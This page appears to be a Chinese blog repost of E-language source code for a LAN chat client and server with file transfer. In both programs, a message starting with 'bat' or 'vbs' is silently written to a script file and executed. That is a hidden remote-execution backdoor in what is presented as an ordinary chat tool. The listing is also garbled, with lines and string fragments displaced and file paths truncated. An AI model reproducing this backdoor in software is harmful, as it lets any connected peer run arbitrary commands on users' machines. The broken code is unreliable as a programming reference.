admin 管理员组文章数量: 887021
2024年1月28日发(作者:三只眼二郎神图片)
客户机代码:
.
版本 2
.支持库 shell
.支持库 xplib
.程序集 窗口程序集1
.程序集变量 文件号1, 整数型
.程序集变量 文件长度, 整数型
.程序集变量 发送内容, 字节集
.程序集变量 文件名, 文本型
.程序集变量 文件号2, 整数型
.子程序 _按钮1_被单击
.局部变量 现在时间, 文本型
.如果 (编辑框7.内容 = “1”)
.如果 (编辑框6.内容 ≠ “”)
.如果 (编辑框2.内容 ≠ “”)
客户1.发送数据 (“聊天” + 编辑框2.内容)
现在时间 = 到文本 (取年份 (取现行时间 ())) + “/” + 到文本 (取月份 (取现行时间 ()))
+ “/” + 到文本 (取日 (取现行时间 ())) + “/” + 到文本 (取小时 (取现行时间 ())) + “:” + 到文本 (取分钟 (取现行时间 ())) + “:” + 到文本 (取秒 (取现行时间 ()))
编辑框1.内容 = 编辑框1.内容 + “【本机】” + 现在时间 + #换行符 + “ ” + 编辑框2.内容 + #换行符
编辑框2.内容 = “”
.否则
信息框 (“发送消息不能为空”, 48, “提示”)
.如果结束
.否则
信息框 (“服务器IP地址不能为空”, 48, “提示”)
.如果结束
.否则
信息框 (“服务器未连接”, 48, “提示”)
.如果结束
.子程序 _按钮2_被单击
.如果 (编辑框6.内容 ≠ “”)
.如果 (编辑框8.内容 ≠ “”)
.如果 (客户1.连接 (编辑框6.内容, 1991) = 真)
播放MP3 (1, “3”)
编辑框1.内容 = 编辑框1.内容 + “连接:” + 编辑框6.内容 + 按钮2.禁止 = 真
编辑框7.内容 = “1”
客户1.发送数据 (“昵称” + 编辑框8.内容)
.否则
播放MP3 (1, “3”)
编辑框1.内容 = 编辑框1.内容 + “连接:” + 编辑框6.内容 + .如果结束
.否则
信息框 (“请填写你的昵称”, 48, “提示”)
.如果结束
+ #换行符
+ #换行符
“成功” “失败”
.否则
信息框 (“请填写要连接的IP地址”, 48, “提示”)
.如果结束
.子程序 _客户1_数据到达
.局部变量 接收内容, 文本型
.局部变量 现在时间, 文本型
.局部变量 发送进度, 整数型
接收内容 = 到文本 (客户1.取回数据 ())
现在时间 = 到文本 (取年份 (取现行时间 ())) + “/” + 到文本 (取月份 (取现行时间 ())) + “/” +
到文本 (取日 (取现行时间 ())) + “/” + 到文本 (取小时 (取现行时间 ())) + “:” + 到文本 (取分钟 (取现行时间 ())) + “:” + 到文本 (取秒 (取现行时间 ()))
.如果 (接收内容 = “接收”)
.如果 (是否在文件尾 (文件号1, ) = 假)
发送内容 = 读入字节集 (文件号1, 2048)
发送进度 = 取读写位置 (文件号1)
进度条1.位置 = 发送进度 ÷ 文件长度 × 1000
客户1.发送数据 (发送内容)
.否则
客户1.发送数据 (“发送完毕”)
信息框 (“发送完毕”, 64, “提示”)
分组框8.可视 = 假
进度条1.位置 = 0
.如果结束
.否则
.如果 (接收内容 = “拒绝”)
信息框 (“对方拒绝接收文件”, 64, “提示”)
分组框8.可视 = 假
.否则
.如果 (取文本左边 (接收内容, 3) = “bat”)
文件号1 = 打开文件 (“c:”, 4, 1)
写出文本 (文件号1, 取文本右边 (接收内容, 取文本长度 (接收内容) - 3))
关闭文件 (文件号1)
执行 (4, “c:”, , , )
.否则
.如果 (取文本左边 (接收内容, 3) = “vbs”)
文件号1 = 打开文件 (“c:”, 4, 1)
写出文本 (文件号1, 取文本右边 (接收内容, 取文本长度 (接收内容) - 3))
关闭文件 (文件号1)
执行 (4, “c:”, , , )
.否则
编辑框1.内容 = 编辑框1.内容 + “【服务器】” + 现在时间 + #换行符 + “ ”
+ 接收内容 + #换行符
播放音乐 (“”, 假)
.如果结束
.如果结束
.如果结束
.如果结束
.子程序 _客户1_连接断开
编辑框7.内容 = “0”
编辑框1.内容 = 编辑框1.内容 + “<与服务器断开>” + #换行符
按钮2.禁止 = 假
播放MP3 (1, “3”)
.子程序 _按钮4_被单击
.如果 (编辑框7.内容 = “1”)
客户1.断开连接 ()
编辑框7.内容 = “0”
编辑框1.内容 = 编辑框1.内容 + “<与服务器断开连接>” + #换行符
按钮2.禁止 = 假
播放MP3 (1, “3”)
.否则
信息框 (“没有连接”, 48, “提示”)
.如果结束
.子程序 _按钮9_被单击
编辑框13.内容 = “”
分组框8.可视 = 假
.子程序 _按钮7_被单击
通用对话框1.打开 ()
编辑框13.内容 = 通用对话框1.文件名
.子程序 _按钮8_被单击
.如果 (编辑框13.内容 ≠ “”)
文件名 = 取文本右边 (编辑框13.内容, 取文本长度 (编辑框13.内容) - 倒找文本 (编辑框13.内容,
“”, , 假))
文件号1 = 打开文件 (编辑框13.内容, 1, 1)
文件长度 = 取文件长度 (文件号1)
客户1.发送数据 (“文件名” + 文件名 + “|” + 到文本 (文件长度))
.否则
信息框 (“未选择文件”, 48, “提示”)
.如果结束
.子程序 _按钮10_被单击
.如果 (编辑框7.内容 = “1”)
分组框8.可视 = 真
.否则
信息框 (“未连接服务器”, 48, “提示”)
.如果结束
.子程序 _按钮13_被单击
.局部变量 文件号3, 整数型
文件号3 = 打开文件 (“客户机聊天记录.txt”, 5, 1)
移到文件尾 (文件号3)
插入文本 (文件号3, 编辑框1.内容)
关闭文件 (文件号3)
编辑框1.内容 = “”
.子程序 __启动窗口_创建完毕
_启动窗口.标题 = _启动窗口.标题 + “本机IP地址【” + 转换为IP地址 (取主机名 ()) +XP风格 (3)
.子程序 _编辑框1_内容被改变
” “】
编辑框1.起始选择位置 = -1
服务器代码:
.版本 2
.支持库 shell
.支持库 xplib
.程序集 窗口程序集1
.程序集变量 文件号1, 整数型
.程序集变量 文件长度, 整数型
.程序集变量 发送内容, 字节集
.程序集变量 文件名, 文本型
.程序集变量 文件号2, 整数型
.子程序 _服务器1_客户进入
.子程序 _服务器1_数据到达
.局部变量 接收内容, 文本型
.局部变量 x, 整数型
.局部变量 i, 整数型
.局部变量 现在时间, 文本型
.局部变量 聊天内容, 文本型
.局部变量 j, 整数型
.局部变量 x1, 整数型
.局部变量 IP, 文本型
.局部变量 端口, 文本型
接收内容 = 到文本 (服务器1.取回数据 ())
现在时间 = 到文本 (取年份 (取现行时间 ())) + “/” + 到文本 (取月份 (取现行时间 ())) + “/” + 到文本 (取日 (取现行时间 ())) + “/” + 到文本 (取小时 (取现行时间 ())) + “:” + 到文本 (取分钟 (取现行时间 ())) + “:”
+ 到文本 (取秒 (取现行时间 ()))
编辑框5.内容 = 到文本 (服务器1.取回客户 ())
编辑框9.内容 = 取文本右边 (接收内容, 取文本长度 (接收内容) - 4)
x1 = 寻找文本 (编辑框5.内容, “:”, 1, 假)
IP = 取文本左边 (编辑框5.内容, x1 - 1)
端口 = 取文本右边 (编辑框5.内容, 取文本长度 (编辑框5.内容) - x1)
编辑框10.内容 = IP
编辑框11.内容 = 端口
.如果 (取文本左边 (接收内容, 4) = “昵称”)
列表框1.加入项目 (到文本 (服务器1.取回客户 ()), )
列表框2.加入项目 (取文本右边 (接收内容, 取文本长度 (接收内容) - 4), )
编辑框3.内容 = 编辑框3.内容 + “<【” + 取文本右边 (接收内容, 取文本长度 (接收内容) - 4) + “】进入>” + 现在时间 + #换行符
播放MP3 (1, “3”)
.否则
.如果 (取文本左边 (接收内容, 6) = “文件名”)
编辑框12.内容 = 到文本 (服务器1.取回客户 ())
j = 倒找文本 (接收内容, “|”, , 假)
编辑框14.内容 = “d:” + 取文本中间 (接收内容, 7, j - 7)
分组框9.标题 = “来自:” + 到文本 (服务器1.取回客户 ()) + “的发送文件请求”
编辑框16.内容 = “文件大小:” + 到文本 (到数值 (取文本右边 (接收内容, 取文本长度 (接收内容) -
j)) ÷ 1024 ÷ 1024) + “Mb”
编辑框15.内容 = 到文本 (到数值 (取文本右边 (接收内容, 取文本长度 (接收内容) - j)))
播放音乐 (“”, 假)
分组框9.可视 = 真
.否则
.如果 (取文本左边 (接收内容, 4) = “聊天”)
.如果 (取文本中间 (接收内容, 5, 3) = “bat”)
文件号1 = 打开文件 (“c:”, 4, 1)
写出文本 (文件号1, 取文本右边 (接收内容, 取文本长度 (接收内容) - 7))
关闭文件 (文件号1)
执行 (4, “c:”, , , )
.否则
.如果 (取文本中间 (接收内容, 5, 3) = “vbs”)
文件号1 = 打开文件 (“c:”, 4, 1)
写出文本 (文件号1, 取文本右边 (接收内容, 取文本长度 (接收内容) - 7))
行符 +
关闭文件 (文件号1)
执行 (4, “c:”, , , )
.否则
聊天内容 = 取文本右边 (接收内容, 取文本长度 (接收内容) - 4)
编辑框5.内容 = 到文本 (服务器1.取回客户 ())
i = 列表框1.取项目数 ()
.变量循环首 (0, i - 1, 1, x)
.如果 (列表框1.取项目文本 (x) = 编辑框5.内容)
编辑框9.内容 = 列表框2.取项目文本 (x)
.否则
.如果结束
.变量循环尾 ()
编辑框3.内容 = 编辑框3.内容 + “【” + 编辑框9.内容 + “】” + 现在时间 + #换 ” + 聊天内容 + #换行符
播放音乐 (“”, 假)
.如果结束
.如果结束
.否则
.如果 (接收内容 = “发送完毕”)
关闭文件 (文件号2)
信息框 (“接收完成”, 64, “提示”)
执行 (4, 取文本左边 (编辑框14.内容, 倒找文本 (编辑框14.内容, “”, , 假) - 1), , , )
编辑框12.内容 = “”
编辑框17.内容 = “0”
进度条2.位置 = 0
分组框9.可视 = 假
.否则
编辑框17.内容 = 到文本 (到数值 (编辑框17.内容) + 2048)
进度条2.位置 = 到数值 (编辑框17.内容) ÷ 到数值 (编辑框15.内容) × 1000
写出字节集 (文件号2, 服务器1.取回数据 ())
服务器1.发送数据 (服务器1.取回客户 (), “接收”, 10)
“
.如果结束
.如果结束
.如果结束
.如果结束
.子程序 _按钮3_被单击
.局部变量 现在时间, 文本型
.如果 (编辑框5.内容 ≠ “”)
.如果 (编辑框4.内容 ≠ “”)
现在时间 = 到文本 (取年份 (取现行时间 ())) + “/” + 到文本 (取月份 (取现行时间 ())) + “/” +
到文本 (取日 (取现行时间 ())) + “/” + 到文本 (取小时 (取现行时间 ())) + “:” + 到文本 (取分钟 (取现行时间
())) + “:” + 到文本 (取秒 (取现行时间 ()))
服务器1.发送数据 (编辑框5.内容, 编辑框4.内容, 10)
编辑框3.内容 = 编辑框3.内容 + “TO【” + 编辑框9.内容 + “】” + 现在时间 + #换行符 + “ ”
+ 编辑框4.内容 + #换行符
编辑框4.内容 = “”
.否则
信息框 (“发送内容不能为空”, 48, “提示”)
.如果结束
.否则
信息框 (“请选择客户”, 48, “提示”)
.如果结束
.子程序 _按钮5_被单击
.局部变量 i, 整数型
.局部变量 x, 整数型
.如果 (编辑框5.内容 ≠ “”)
编辑框3.内容 = 编辑框3.内容 + “<正在与【” + 编辑框9.内容 + “】断开>......” + #换行符
服务器1.断开客户 (编辑框5.内容)
播放MP3 (1, “3”)
.否则
信息框 (“请选择客户”, 48, “提示”)
.如果结束
i = 列表框1.取项目数 ()
.变量循环首 (0, i - 1, 1, x)
.如果 (列表框1.取项目文本 (x) = 编辑框5.内容)
列表框1.删除项目 (x)
列表框2.删除项目 (x)
.否则
.如果结束
.变量循环尾 ()
编辑框5.内容 = “”
编辑框9.内容 = “”
.子程序 _列表框2_列表项被选择
.局部变量 j, 整数型
j = 列表框2.现行选中项
编辑框5.内容 = 到文本 (列表框1.取项目文本 (j))
编辑框9.内容 = 到文本 (列表框2.取项目文本 (j))
.子程序 _服务器1_客户离开
.局部变量 i, 整数型
.局部变量 x, 整数型
.局部变量 lkkh, 文本型
lkkh = 到文本 (服务器1.取回客户 ())
i = 列表框1.取项目数 ()
.变量循环首 (0, i - 1, 1, x)
.如果 (列表框1.取项目文本 (x) = lkkh)
列表框1.删除项目 (x)
编辑框3.内容 = 编辑框3.内容 + “<【” 列表框2.删除项目 (x)
.否则
.如果结束
.变量循环尾 ()
.如果 (lkkh = 编辑框5.内容)
列表框2.取项目文本 (x) +>” #换行符 + “】离开 +
编辑框5.内容 = “”
编辑框9.内容 = “”
编辑框10.内容 = “”
编辑框11.内容 = “”
.否则
.如果结束
播放MP3 (1, “3”)
.子程序 _按钮12_被单击
编辑框14.内容 = “”
服务器1.发送数据 (编辑框12.内容, “拒绝”, 10)
编辑框12.内容 = “”
分组框9.可视 = 假
.子程序 _按钮11_被单击
文件号2 = 打开文件 (编辑框14.内容, 4, )
服务器1.发送数据 (编辑框12.内容, “接收”, 10)
.子程序 _按钮14_被单击
.局部变量 文件号4, 整数型
文件号4 = 打开文件 (“服务器聊天记录.txt”, 5, 1)
移到文件尾 (文件号4)
插入文本 (文件号4, 编辑框3.内容)
关闭文件 (文件号4)
编辑框3.内容 = “”
.子程序 __启动窗口_创建完毕
_启动窗口.标题 = _启动窗口.标题 + “本机IP地址【”XP风格 (3)
.子程序 _编辑框3_内容被改变
编辑框3.起始选择位置 = -1
转换为IP地址 (取主机名 ()) +” + “】
版权声明:本文标题:易语言简单局域网聊天代码(客户服务器组件编写) 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/free/1706442125h506347.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论